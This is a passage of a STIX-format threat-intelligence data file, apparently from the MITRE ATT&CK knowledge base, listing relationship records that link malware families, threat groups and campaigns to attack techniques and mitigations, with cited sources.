Task Scheduler.(Citation: Group IB GrimAgent July 2021)", "relationship_type": "uses", "source_ref": "malware--c9b99d03-ff11-4a48-95f0-82660d582c25", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2589342a-8f88-4458-bc34-cec6b073763e", "type": "relationship", "created": "2019-03-11T19:24:08.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. 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(2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}], "modified": "2020-06-29T15:56:13.237Z", "description": "[BackConfig](https://attack.mitre.org/software/S0475) has the ability to identify folders and files related to previous infections.(Citation: Unit 42 BackConfig May 2020)\t", "relationship_type": "uses", "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--259a5116-2492-4d7b-b300-1cf9b8c79f00", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky OilRig Jan 2017", "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. 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(2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.", "source_name": "TCG Trusted Platform Module"}, {"url": "https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process", "description": "Microsoft. (n.d.). Secure the Windows 10 boot process. Retrieved April 23, 2020.", "source_name": "TechNet Secure Boot Process"}], "modified": "2020-09-17T19:47:14.495Z", "description": "Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)", "relationship_type": "mitigates", "source_ref": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", "target_ref": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25a84607-970c-474e-83bc-143e2ccbb64b", "type": "relationship", "created": "2019-06-20T15:39:37.667Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-25T18:13:18.648Z", "description": "Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities.", "relationship_type": "mitigates", "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25a8672d-3d99-456b-a8c6-2ea5f3a5a688", "type": "relationship", "created": "2021-02-23T20:50:33.302Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SANS Conficker", "url": "https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm", "description": "Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021."}], "modified": "2021-10-14T16:53:14.424Z", "description": "[Conficker](https://attack.mitre.org/software/S0608) copies itself into the <code>%systemroot%\\system32</code> directory and registers as a service.(Citation: SANS Conficker)", "relationship_type": "uses", "source_ref": "malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--25a92f58-75d6-46a5-8e82-7f576f9659a5", "created": "2021-12-27T19:19:42.875Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Check Point Warzone Feb 2020", "url": "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", "description": "Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}, {"source_name": "Uptycs Warzone UAC Bypass November 2020", "url": "https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique", "description": "Mohanta, A. (2020, November 25). Warzone RAT comes with UAC bypass technique. Retrieved April 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) has the capability to grab passwords from numerous web browsers as well as from Outlook and Thunderbird email clients.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020)", "modified": "2022-04-07T15:26:34.289Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25ad5783-c7fe-4715-b4ce-c03b36ccdfa8", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT17", "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"}], "modified": "2020-03-17T19:06:43.785Z", "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) uses Microsoft\u2019s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server and then communicates separately with that IP address for C2. If the C2 server is discovered or shut down, the threat actors can update the encoded IP address on TechNet to maintain control of the victims\u2019 machines.(Citation: FireEye APT17)", "relationship_type": "uses", "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--25b8605b-9ab2-418f-b92b-abb2be815b90", "created": "2023-03-02T19:02:49.552Z", "revoked": false, "external_references": [{"source_name": "Microsoft BlackCat Jun 2022", "description": "Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.", "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-02T19:02:49.552Z", "description": "[BlackCat](https://attack.mitre.org/software/S1068) can broadcasts NetBIOS Name Service (NBNC) messages to search for servers connected to compromised networks.(Citation: Microsoft BlackCat Jun 2022)", "relationship_type": "uses", "source_ref": "malware--50c44c34-3abb-48ae-9433-a2337de5b0bc", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--25b8811b-3e73-40c7-b1fc-132eeb5a6f5e", "created": "2023-03-29T15:57:37.642Z", "revoked": false, "external_references": [{"source_name": "Lunghi Iron Tiger Linux", "description": "Daniel Lunghi. (2023, March 1). Iron Tiger\u2019s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.", "url": "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-29T15:57:37.642Z", "description": "[SysUpdate](https://attack.mitre.org/software/S0663) can collect the username from a compromised host.(Citation: Lunghi Iron Tiger Linux)", "relationship_type": "uses", "source_ref": "malware--c009560a-f097-45a3-8f9f-78ec1440a783", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--25b8b66a-a9d0-4400-8b41-dd12208a25de", "created": "2020-06-19T19:08:40.295Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Unit 42 Valak July 2020", "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.", "url": "https://unit42.paloaltonetworks.com/valak-evolution/"}, {"source_name": "SentinelOne Valak June 2020", "description": "Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.", "url": "https://assets.sentinelone.com/labs/sentinel-one-valak-i"}, {"source_name": "Cybereason Valak May 2020", "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.", "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:35:19.727Z", "description": "[Valak](https://attack.mitre.org/software/S0476) has the ability to base64 encode and XOR encrypt strings.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: SentinelOne Valak June 2020)", "relationship_type": "uses", "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25bfb4d8-c401-4064-9ee4-24091cb86ba6", "type": "relationship", "created": "2020-08-13T14:58:25.173Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks Karagany July 2019", "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", "description": "Secureworks. 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Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}, {"source_name": "Volexity Ivanti Zero-Day Exploitation January 2024", "description": "Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.", "url": "https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T23:16:27.586Z", "description": "During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors cleared logs to remove traces of their activity and restored compromised systems to a clean state to bypass manufacturer mitigations for CVE-2023-46805 and CVE-2024-21887.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)", "relationship_type": "uses", "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25ca7826-9f46-45e4-97e8-c942f9a2611d", "type": "relationship", "created": "2020-02-04T12:55:04.101Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-04T12:55:04.101Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25cb2c8f-79d2-4157-8329-fb86caaca0c3", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye admin@338", "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"}], "modified": "2020-03-17T01:45:11.413Z", "description": "[LOWBALL](https://attack.mitre.org/software/S0042) uses the Dropbox API to request two files, one of which is the same file as the one dropped by the malicious email attachment. This is most likely meant to be a mechanism to update the compromised host with a new version of the [LOWBALL](https://attack.mitre.org/software/S0042) malware.(Citation: FireEye admin@338)", "relationship_type": "uses", "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--25d44b9e-3645-4fe7-96b0-3c2c31b90ac0", "created": "2021-11-30T16:13:37.368Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Kaspersky ThreatNeedle Feb 2021", "url": "https://securelist.com/lazarus-threatneedle/100803/", "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ThreatNeedle](https://attack.mitre.org/software/S0665) can be loaded into the Startup folder (`%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\OneDrives.lnk`) as a Shortcut file for persistence.(Citation: Kaspersky ThreatNeedle Feb 2021)", "modified": "2022-04-17T18:58:24.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--16040b1c-ed28-4850-9d8f-bb8b81c42092", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25d4fa6d-4f88-4604-8b9f-cce6f3b5ae4d", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Chaos Stolen Backdoor", "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"}], "modified": "2020-03-20T23:07:54.267Z", "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell connection on 8338/TCP, encrypted via AES.(Citation: Chaos Stolen Backdoor)", "relationship_type": "uses", "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25d65c10-5fa3-40c1-9e25-936894446178", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more", "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", "source_name": "Talos Smoke Loader July 2018"}], "modified": "2020-03-17T16:34:11.261Z", "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) searches through Outlook files and directories (e.g., inbox, sent, templates, drafts, archives, etc.).(Citation: Talos Smoke Loader July 2018)", "relationship_type": "uses", "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25d926a0-d2b5-473d-b27b-fb69cf763b77", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT Bankshot Dec 2017", "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}], "modified": "2020-02-18T03:40:29.928Z", "description": "[Bankshot](https://attack.mitre.org/software/S0239) searches for files on the victim's machine.(Citation: US-CERT Bankshot Dec 2017)", "relationship_type": "uses", "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25df53ed-4a07-4e71-8a1b-a84a2571e043", "type": "relationship", "created": "2020-12-15T01:30:05.493Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 Molerat Mar 2020", "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}], "modified": "2020-12-15T01:30:05.493Z", "description": "[Spark](https://attack.mitre.org/software/S0543) has been packed with Enigma Protector to obfuscate its contents.(Citation: Unit42 Molerat Mar 2020) ", "relationship_type": "uses", "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--25e10d85-b8de-45d9-9c3c-b02e53676f9c", "created": "2022-06-03T18:12:09.995Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ClearSky Siamesekitten August 2021", "url": "https://www.clearskysec.com/siamesekitten/", "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022."}, {"source_name": "Dragos Hexane", "url": "https://dragos.com/resource/hexane/", "description": "Dragos. (n.d.). Hexane. Retrieved October 27, 2019."}, {"source_name": "SecureWorks August 2019", "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has registered and operated domains for campaigns, often using a security or web technology theme or impersonating the targeted organization.(Citation: SecureWorks August 2019)(Citation: Dragos Hexane)(Citation: ClearSky Siamesekitten August 2021)", "modified": "2022-08-31T15:59:09.178Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25e11828-0e27-4eb6-afb6-5c048ae9189b", "type": "relationship", "created": "2019-06-28T17:40:32.372Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyphort EvilBunny Dec 2014", "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/", "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}], "modified": "2020-03-17T01:07:34.928Z", "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has executed C2 commands directly via HTTP.(Citation: Cyphort EvilBunny Dec 2014)", "relationship_type": "uses", "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25e301f8-0bb7-4769-94be-ac96b2319c85", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. 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APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."}], "modified": "2021-10-04T12:22:40.210Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) used ssh for internal reconnaissance.(Citation: FireEye APT40 March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25e7301f-2207-4d02-aa69-772c222dab70", "type": "relationship", "created": "2021-08-04T15:42:58.327Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021."}], "modified": "2021-08-04T15:42:58.327Z", "description": "[VaporRage](https://attack.mitre.org/software/S0636) has the ability to check for the presence of a specific DLL and terminate if it is not found.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--96eca9b9-b37f-42f1-96dc-a2c441403194", "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25e7ca82-2784-433a-90a9-a3483615a655", "type": "relationship", "created": "2019-04-12T17:01:01.255Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", "url": "https://content.fireeye.com/apt/rpt-apt38", "source_name": "FireEye APT38 Oct 2018"}, {"description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/", "source_name": "LogRhythm WannaCry"}, {"description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", "source_name": "FireEye WannaCry 2017"}, {"source_name": "SecureWorks WannaCry Analysis", "url": "https://www.secureworks.com/research/wcry-ransomware-analysis", "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019."}], "modified": "2019-09-09T19:15:45.677Z", "description": "(Citation: FireEye APT38 Oct 2018)(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)(Citation: SecureWorks WannaCry Analysis)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25e9205c-3f27-4f93-81ea-b4bc1e3325ac", "type": "relationship", "created": "2021-10-01T01:57:31.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Intezer TeamTNT September 2020", "url": "https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/", "description": "Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021."}], "modified": "2021-10-01T01:57:31.871Z", "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has created local privileged users on victim machines.(Citation: Intezer TeamTNT September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25eb9cd3-80e1-4116-bfd3-fa3819dc2079", "type": "relationship", "created": "2020-06-16T15:37:50.908Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Redaman October 2019", "url": "https://research.checkpoint.com/2019/ponys-cc-servers-hidden-inside-the-bitcoin-blockchain/", "description": "Eisenkraft, K., Olshtein, A. (2019, October 17). Pony\u2019s C&C servers hidden inside the Bitcoin blockchain. Retrieved June 15, 2020."}, {"source_name": "Unit42 Redaman January 2019", "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}], "modified": "2020-06-16T20:51:14.350Z", "description": "[RTM](https://attack.mitre.org/software/S0148) has resolved [Pony](https://attack.mitre.org/software/S0453) C2 server IP addresses by either converting Bitcoin blockchain transaction data to specific octets, or accessing IP addresses directly within the Namecoin blockchain.(Citation: CheckPoint Redaman October 2019)(Citation: Unit42 Redaman January 2019)", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--25f5e7b1-4f7f-48e1-b647-16a4ac018357", "type": "relationship", "created": "2020-07-16T15:23:48.576Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", 